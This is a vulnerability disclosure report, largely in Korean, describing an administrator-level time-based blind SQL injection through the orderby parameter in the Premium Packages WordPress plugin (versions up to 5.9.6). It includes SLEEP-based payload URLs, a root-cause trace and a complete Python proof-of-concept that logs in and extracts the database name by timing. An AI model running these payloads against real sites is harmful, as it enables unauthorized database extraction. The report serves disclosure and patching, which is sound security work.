Component type
WordPress plugin
Component details
Component name Premium Packages – Sell Digital Products Securely
Vulnerable version <= 5.9.6
Component slug wpdm-premium-packages
OWASP 2017: TOP 10
Vulnerability class A3: Injection
Vulnerability type SQL Injection
Pre-requisite
Administrator
Vulnerability details
Short description
Premium Packages – Sell Digital Products Securely 플러그인(이하 Premium Packages 플러그인)의 5.9.6 이하 버전에서 SQL Injection 취약점이 발생합니다. 이는 플러그인 대시보드의 주문 메뉴(/wp-admin/edit.php?post_type=wpdmpro&page=orders)에서 주문 목록을 조회할 때 URL 파라미터 orderby에 대한 이스케이프 처리가 미흡하기 때문입니다.
따라서, 이 취약점을 악용하면 관리자 권한이 있는 공격자가 대상 사이트의 데이터베이스에 저장된 모든 정보를 조회할 수 있습니다.
또한, 이 SQL Injection 취약점은 응답 데이터에서 직접적인 데이터 조회가 불가능하나, SQL 쿼리문의 조건문 참/거짓 여부에 따른 응답 시간의 차이를 이용하는 Time-Based Blind SQL Injection 기법으로 데이터를 추출할 수 있습니다.
How to reproduce (PoC)
1.
Premium Packages 플러그인이 설치 및 활성화된 워드프레스 사이트에 관리자 역할을 가진 사용자로 로그인합니다.
Premium Packages 플러그인이 Download Manager 플러그인(https://wordpress.org/plugins/download-manager/)의 애드온이므로 Download Manager 플러그인도 설치 및 활성화되어야 합니다.
2.
이후 아래의 URL에 접속하면, SQL 질의문의 조건문(1=1)이 항상 참이 되어 SLEEP(5) 함수로 인해 페이지가 5초 후에 표시됩니다.
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))
Plain Text
복사
3.
반면에, 아래의 URL로 접속하면, SQL 질의문의 조건문(1=2)이 항상 거짓 이므로 페이지가 바로 표시됩니다.
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))
Plain Text
복사
Additional information (optional)
[취약점 발생 원인]
Premium Packages 플러그인의 주문 목록 대시보드를 요청할 때, /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php 파일이 실행됩니다.
이때, URL 파라미터 orderby의 값이 적절한 이스케이프 처리 없이 변수 $orderby에 대입됩니다. 이후 변수 $orderby 는 변수 $qry 로 전달되어 SQL 질의문 내 order by 절로 완성됩니다.
그 다음 변수 $qry 는 함수 totalOrders, GetAllOrders 의 인자로 전달됩니다.
해당 함수는 /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php 파일에 정의되어 있으며, 전달받은 인자 값이 데이터베이스 질의문에 직접 사용됩니다.
그러므로, URL 파라미터 orderby의 값이 데이터베이스 질의문에 이스케이프 처리 없이 직접 사용되어 SQL Injection 취약점이 발생합니다.
[PoC 코드 구현 및 실행]
1.
PoC 코드를 편집기로 열어 WordPress 사이트 주소와 관리자의 계정을 입력합니다.
2.
그 다음 아래의 명령어를 입력하여 PoC 코드를 실행합니다.
필요 모듈 requests
python poc.py
Bash
복사
Attach files (optional)
PoC Code
import re
import time
import string
import requests
# To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
# 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
# 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
# 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
# WordPress Target
TARGET = "http://localhost:8080"
# Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()
Python
복사